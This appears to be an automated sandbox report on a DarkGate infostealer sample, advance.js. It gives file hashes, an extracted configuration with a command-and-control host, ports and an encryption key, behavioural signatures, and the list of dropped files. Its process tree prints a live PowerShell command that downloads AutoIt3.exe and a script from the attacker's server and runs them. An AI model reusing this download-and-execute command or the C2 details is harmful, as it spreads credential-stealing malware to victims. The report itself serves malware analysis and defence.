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Analysis

  • max time kernel
    138s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/10/2023, 15:40

General

  • Target

    advance.js

  • Size

    135KB

  • MD5

    8169317a5e6490aadd707cefe626a58e

  • SHA1

    5e1b3fb8ab4faa121fdc203cbc51e7472cbbf1b0

  • SHA256

    0935ffbd6eb40f99494f748a513ac8272239d529c4b3930f07cdef620145d19d

  • SHA512

    246420d3e7356473ced3aa57d6758162ed0eaa3d9343e1529044291e3c5f07c1e0d279546dcacef82acb95c66455a988f8efed9bd1d5775a8a60a48fc7b2016b

  • SSDEEP

    1536:BZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/05:0T9U7hgaX6eerjqlI2IO6Mzqfh

Malware Config

Extracted

Family

darkgate

Botnet

user_871236672

C2

http://profitcentronline.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    true

  • anti_debug

    true

  • anti_vm

    true

  • c2_port

    2351

  • check_disk

    true

  • check_ram

    true

  • check_xeon

    true

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    eirBKBYGAueQeS

  • internal_mutex

    txtMut

  • minimum_disk

    40

  • minimum_ram

    6000

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    user_871236672

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\advance.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2304
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://profitcentronline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://profitcentronline.com:2351/msiashzasyd' -OutFile 'ashzasyd.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'ashzasyd.au3'"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1076
      • C:\temp\AutoIt3.exe
        "C:\temp\AutoIt3.exe" ashzasyd.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:4244

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xpnliavj.5ds.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\temp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\temp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\temp\ashzasyd.au3

    Filesize

    488KB

    MD5

    c755b238783fc0cc423a75a4e4cdd98a

    SHA1

    acc579c4b18a9fc78e2a5cef6ba22e5ea8a65a64

    SHA256

    f1042dd0bd4d4f2009d355a9bfaf858e9a56313c058104ae56c1580725d12e34

    SHA512

    acacd3f84761208561692d1f40ccc8804d3466ff73fb03a88dcee671625d77e3b170f722b870d825b86d306dc4144ed5f36681cf524bbb169dcb3ebb942fc19d

  • memory/1076-9-0x000001DDCA6B0000-0x000001DDCA6C0000-memory.dmp

    Filesize

    64KB

  • memory/1076-13-0x000001DDCA6B0000-0x000001DDCA6C0000-memory.dmp

    Filesize

    64KB

  • memory/1076-14-0x00007FFFAA7F0000-0x00007FFFAB2B1000-memory.dmp

    Filesize

    10.8MB

  • memory/1076-15-0x000001DDCA6B0000-0x000001DDCA6C0000-memory.dmp

    Filesize

    64KB

  • memory/1076-16-0x000001DDCA6B0000-0x000001DDCA6C0000-memory.dmp

    Filesize

    64KB

  • memory/1076-8-0x000001DDCA6B0000-0x000001DDCA6C0000-memory.dmp

    Filesize

    64KB

  • memory/1076-7-0x00007FFFAA7F0000-0x00007FFFAB2B1000-memory.dmp

    Filesize

    10.8MB

  • memory/1076-30-0x00007FFFAA7F0000-0x00007FFFAB2B1000-memory.dmp

    Filesize

    10.8MB

  • memory/1076-6-0x000001DDCA680000-0x000001DDCA6A2000-memory.dmp

    Filesize

    136KB

  • memory/4244-33-0x0000000001970000-0x0000000001D70000-memory.dmp

    Filesize

    4.0MB

  • memory/4244-34-0x0000000004A30000-0x0000000004D5A000-memory.dmp

    Filesize

    3.2MB

  • memory/4244-35-0x0000000004A30000-0x0000000004D5A000-memory.dmp

    Filesize

    3.2MB